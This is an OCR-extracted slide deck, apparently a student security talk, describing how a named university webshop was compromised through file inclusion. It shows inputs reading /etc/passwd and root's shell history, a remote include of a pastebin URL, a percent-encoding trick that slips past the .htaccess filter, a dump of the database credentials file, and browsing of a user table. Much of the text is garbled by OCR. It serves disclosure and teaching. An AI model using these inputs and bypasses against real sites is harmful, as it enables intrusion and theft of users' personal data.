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About UniBwM

* University of the German Federal Armed
Forces, Munich

* ~3700 students in 2011
* Corporate Design

* Sells shirts and stuff via
student-driven webshop
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About Me

* Student of Computer Aided Engineering

* Assistant at Network Security department
* find them holes!
« www.danrl.de
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Universitdt (3 Minchen
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Shop Warenkorb Alles (ber Uni-Fashion Team Kontakt AGB Impressum

Suche: Benutzername (nicht
RZ -Kennung!)
I os | Sport - Herren | |
Passwort:
:: Aktion Bitte beachtet auch unsere AGB's | |
Einl
:: Sport Artikel Hersteller  Preis niogeEn
:: Damen Registrieren
. Passwort vergessen?
:: Herren
:: Alltag
:: Accessoires NIKE Prasentationsanzug, Hose NIKE € 26,-
NIKE Prasentationsanzug, Jacke NIKE € 40,50
NIKE Trainingsshort mit Innenhose NIKE € 22,-

http://www.uni-fashion.de/index.php?inhalt=artikel.php&...

NIKE Regenjacke € 47,-

Uni-Fashion = Sport = Herren

B & 3 @ htp://www.uni-fashion.de/index.php?inhalt=artikel.phpartikelid=156&kategorie=Sport&unterkategorie=Herren =
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A closer look

That's a filename!

http://www.uni-fashion.de/index.php?inhalt=artikel.php&. ..

Filename is used to load
dynamic content.

Unfortunately, thats some
bad kind of brainchild :(
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Behind the scenes

Webserver

index.php artikel.php

We call this technique
File Inclusion
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* Let's try some other filenames

« /etc/passwd
* /var/log/messages
 /root/.bash_history
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E Opera || ¥4 Uni-Fashion x | oF m

+ & D o= | ® | hitp://www.uni-fashion.defindex.php?inhalt=/Fra

| |%'a' ~ Search with Google

Universit
Shop Warenkorb Alles tber Uni-Fashion Team Kontakt AGB Impressum

. B
Suche: Warning: include() [function.include]: open_basedir restriction in effeft. File(/etc/passwd) is ot within the allowed path(s): Ki
| | (/www/htdocs/w006ad77/:/tmp:/usr/bin:/www/htdocs/w006ad77:/bin: in: php) in /www/htdocs/ |_
w006ad77 /uni-fashion4/ seiten/index.php on line 187 |
Pi

+ Aktion Warning: include(/etc/passwd) [function.include]: failed to open stream: Operation not permitted in /www/htdocs/ |
- w006ad77/ uni-fashion4/ seiten /index.php on line 187 £
:: Sport Warning: include() [function.include]: Failed opening '/etc/passwd' for inclusion (incdude_path=".:/usr/share/php:.."} in / R
Allt www/ htdocs/w006ad77 /uni-fashion4 /seiten/index.php on line 187 P;
H ag |

:: Accessoires

NoO success!

(that's good from the
security point of view)

Uni-Fashion =» /fetc/passwd

| , EEl

0 & 4 6 - O
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Remote File Inclusion

Webserver

artikel.php

index.php

Attacker

Let's create some

harmless code to include! .
Evil Webserver
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E Opera || §¥ Uni-Fashion x [| i [PHP] <?php echo 'L... x |J i http://pastebin.comy... % | =7

&= =2 | @ | http://pastebin.com/XqchNBEhz v | |2 ~ Search with Goc

PASTEBIN | #1 PASTE TOOL SINCE 2002 CREATE NEW PASTE TOOLS | APl | ARCHIVE REAL-TIME | FAQ

91011 STOP CENSORSHIP s >

[B. CREATE NEW PASTE glj TRENDING PASTES SIGN UP | LOGIN | MY SETTINGS ; MY PROFILE

Untitled &40 0 MY PASTES
BY: A GUEST | JAN 12ITH, 2012 | SYNTAX: PHP | SIZE: 0.05 KB | HITS: 1 | EXPIRES: IN 29 DAYS

COPY TOCLIPBOARD |0 MBED | REPORT ABUSE EiLike |3 Tweet PUBLIC PASTES
"L Untitled
1 5ec ago

Eiv Corel Draw X5 15.0.0.48...
4sec ago

L Untitled
Ssec ago

rL WC++ OpenGl Framework
<?php 7 sec ago

5 Oosravelli 2011 1/5DVD...
echo 'Ich bin eine unsichere Webseite!': & sec ago

- Untitled
9sec ago

1% I o S

=
L Untitled
12 sec ago

E} RAW Paste Data CREATE MEW PASTE = CREATE MEW VERSION OF THIS PASTE Y Untitled

16 sec ago
<7ph
s LAYOUT WIDTH
echo 'Ich bin eine unsichere Webseite!';

>
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Raw Code

http://pastebin.com/raw.php?i=XgcNB

el
T

X MHEET':E[PHP] <?php echo 'I... ~.@ http://pastebin.com/... * | &~

!., Opera J|§} Uni-Fashion (
= D o= | @1 http://pastebin.com/raw.php?i=XqcNBehz ¢

<?php
echo "Ich bin eine unsichere Webseite!':

7=
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403 For (dden - Opera
i Eerl i sl 7 ’
E Opera ||ﬁ 403 Forbidden X | i [PHP] <?php echo 'L... x Hﬁhttp:ﬂpastebln N/... % | -

= = 2 o= |E:I http: //www. uni-fashion.de/index. php?inhaltgehttp: //pastebin.com/raw.php?i=XqcNB6hz

Forbidden

You don't have permission to access /index.php on this server.

NoO success!

(that's good from the
security point of view)
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Difference makes a difference

403 Forbidden - Opera

i’ [PHP] <?php echo 'L... * | i http://pastebin.com/... *

WD opera 1y 03 Fortien. x|
But Wait... ;‘ > ; .c:; : http://www. uni-Fashion.de/index.php?inhalt=http: //pastebin.comy/raw. phpi=XqcNB6hz
...don't these error messages orbidden
IOOk d iffe re nt? You don't have permission to access /index.php on this server.
What does that mean?

Uni-Fashion - Opera

E

€ 3 D 0= | @ | http://www.uni-fashion.de/index.php?inhalt=/ETE Er | [$+ search with Google

Universit Webserver Error

Shop Warenkorb Alles uber Uni-Fashion Team Kontakt AGB Impressum

Suche: Warning: include() [function.include]: open_basedir restriction in effect. File(/etc/passwd) is not within the allowed path(s):
‘ (/www/htdocs/w006ad77/:/tmp:/usr/bin:/www/htdocs/w006ad77:/bin:/usr/local/bin:/usr/share/php) in /www/htdocs/
m w006ad77 / uni-fashiond/ seiten/index.php on line 187

:: Aktion Warning: incude(/etc/passwd) [function.include]: failed to open stream: Operation not permitted in /www/htdocs/

o w006ad77 / uni-fashion4/ seiten/index.php on line 187

i Sport Warning: include() [function.include]: Failed opening '/etc/passwd' for inclusion (include_path=".:/usr/share/php:..") in /

Allt www/ htdocs/ w006ad77 /uni-fashiond /seiten/index.php on line 187
H ag

i Accessoires

Website Error

Uni-Fashion » /etc/passwd
. "

0D e % a <
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 Why failed the Remote File Inclusion attack?

* Why do local files generate other errors than
remote files?

Request
“Filtering” index.php

.htaccess

Webserver

“Rules”
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No guts, no glory!

Uni-Fashion - Opera

€ 5 D o | ® | http//www.uni-fashion.de/index.php?inhalt=htaccess ¥ | | ~ search with Google |
Unive
Shop Warenkorb Alles iiber Uni-Fashion Team Kontakt AGB Impressum
Suche: RewriteEngine On RewriteCond % {QUERY_STRING} (.*)=http(.*) [NC, OR] RewriteCond %{QUERY_STRING} (.*)=ftp(.*)
' [NC, OR] RewriteCond % {QUERY_STRING} (.*jurfx=(* eRule ~(.*) - [F]

11 Aktion
! Sport

 Alltag =http

:: Accessoires

IS filtered

Uni-Fashion = _.htaccess

." 517

0 & % 6 - O
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403 Forbidden - Opera
E Opera ||ﬁ 403 Forbidden X | il [PHP] <?php echo 'I... * Hiﬁhttp:ﬂpastemn.mw... X | o

= = 2 o= |E:I http: //www. uni-fashion.de/index. php?inhaltgehttp: //pastebin.com/raw.php?i=XqcNB6hz

Forbidden

IS filtered
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Enconding issues

 In an URL one can write every character as
% <HEX-ASCII>
 Same URL, different writing

e http://uni-fashion.de/index.php?a=bc
e http://uni-fashion.de/index.php?a=%61%62

 Will the filter catch this one?

« http://uni-fashion.de/index.php?inhalt=
%68ttp://pastebin.com/raw.php?1=XqcNB6hz

h as Y%<HEX-ASCII>
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SEVALIEL

Uni-Fashion - Opera

Opera | 3 403 Forbidden

i

X l £ Uni-Fashion x| 2 w

« & D o~ | ® | nhttp:;//www.uni-fashion.de/index.php?inhalt=":68tp%3A%2F%2Fpastebin.com%2Frav # | [ + Search with Google |

Shop Warenkorb Alles Gber Uni-Fashion Kontakt AGE Impressum

Hennu?!%
Passwort:

:: Aktion
Einloggen

:: Sport .
Rixgistrieren

T ﬂ"tﬂg Passwort vergesser

:: Accessoires

Uni-Fashion = hip://pastebin.comyraw.php?i=XgcMBahz

der Bundes

Universitdt ﬁ M

|

0 & 4 6
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Can you keep a secret?

. =fphp

* New code
* New URL
* Same game

# readfile prints the given file
readfile('datenbank.php');

s 3 T W Y S 5 I N B P

. =

<tr=<td height="10px"></td=</tr>

</table>
=/ td=
=td width="660px" valign="top"=>
<?php
// Hier sind die Zugangsdaten zur Datenbank gespeichert.
tdbadresse = " "
sdbbenutzer =
Sdbpasswort = ;
tdatenbank = "
T

=/ td=
=td width="180px" valign="top" align="left" si
<table id="loain" width="136px" cells:
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A few no-brainers

* Lookup Hoster in WHOIS
* Find URL to Hosters SQL-Adminpanel
* Login in with correct password :)
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_l, Opera | s W uni-fashion.de ... i [PHP] <?php # readf... i hittp://pastebin.comy’...

€« 3]

B artkel

B benutzer

B bestellnummerzusatz
B bestellungen

B bestellungselemente
B farben

B groessen

B haendler

B kategorien

B seitendaten

B statistk_haendler
B team

B umirage

B varianten

il Create table

uni-fashion.de

fE Browse & Structure .SQL

3 localhost » f_\.} benutzer

C'Search ¥ctInsert [EExport [flmport % Operations

b7 e

nhp

L& source: Uni-Fashion

" Showing rows 0 - 29 { 1,157 total, Query took 0.0098 sec)

SELECT

4 - ex]

FROM " benutzer
LIMIT 6 , 38
Profiling [Inline] [ Edit ] [ Explain SQL ] [ Create PHP Code ] [ Refresh ]
Page number: (1 1~ > >
Show : | |30 | row(s) starting from row # 30 in |horizontal * | mode and repeat headers after |100 | cells
Sort by key: |None =
+ Options
— T — benutzer id anrede nachname vorname status sfb studienrichtung jahr strasse nr plz ort
2 A = X 1 Thomas
LA = X 2 Arne
P A = X 891 Alexander
A A = X 4 Jens
2 A X 5 Carolin
2 A = X 6 Benjamin
LA = X 7 Roland
F A = X 8 Daniel
2 A = X g9 Mathias
2 A = X 10 Tino
2 A = X 11 Alexander
S A = X 12 Kai
F A = X 13 Michael
2 A = X 14 Tobias
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My work here is done...

telefon

AE = E=E

B artikel

B benutzer

B bestellnummerzusatz
B bestellungen

B bestellungselemente
B farben

B groessen

B haendler

B kategorien

B seitendaten

Bl statistik_haendler
E team

Bl umfrage

B varianten
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Lessons learned

* Always validate every user-based input!
* Seriously, do it!

* Do not fix bad code with filters, better repair
your code!

* Never trust encoding!
* Use SSL for your SQL-Admin :)

* I can haz a free T-Shirt now?
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Questions?
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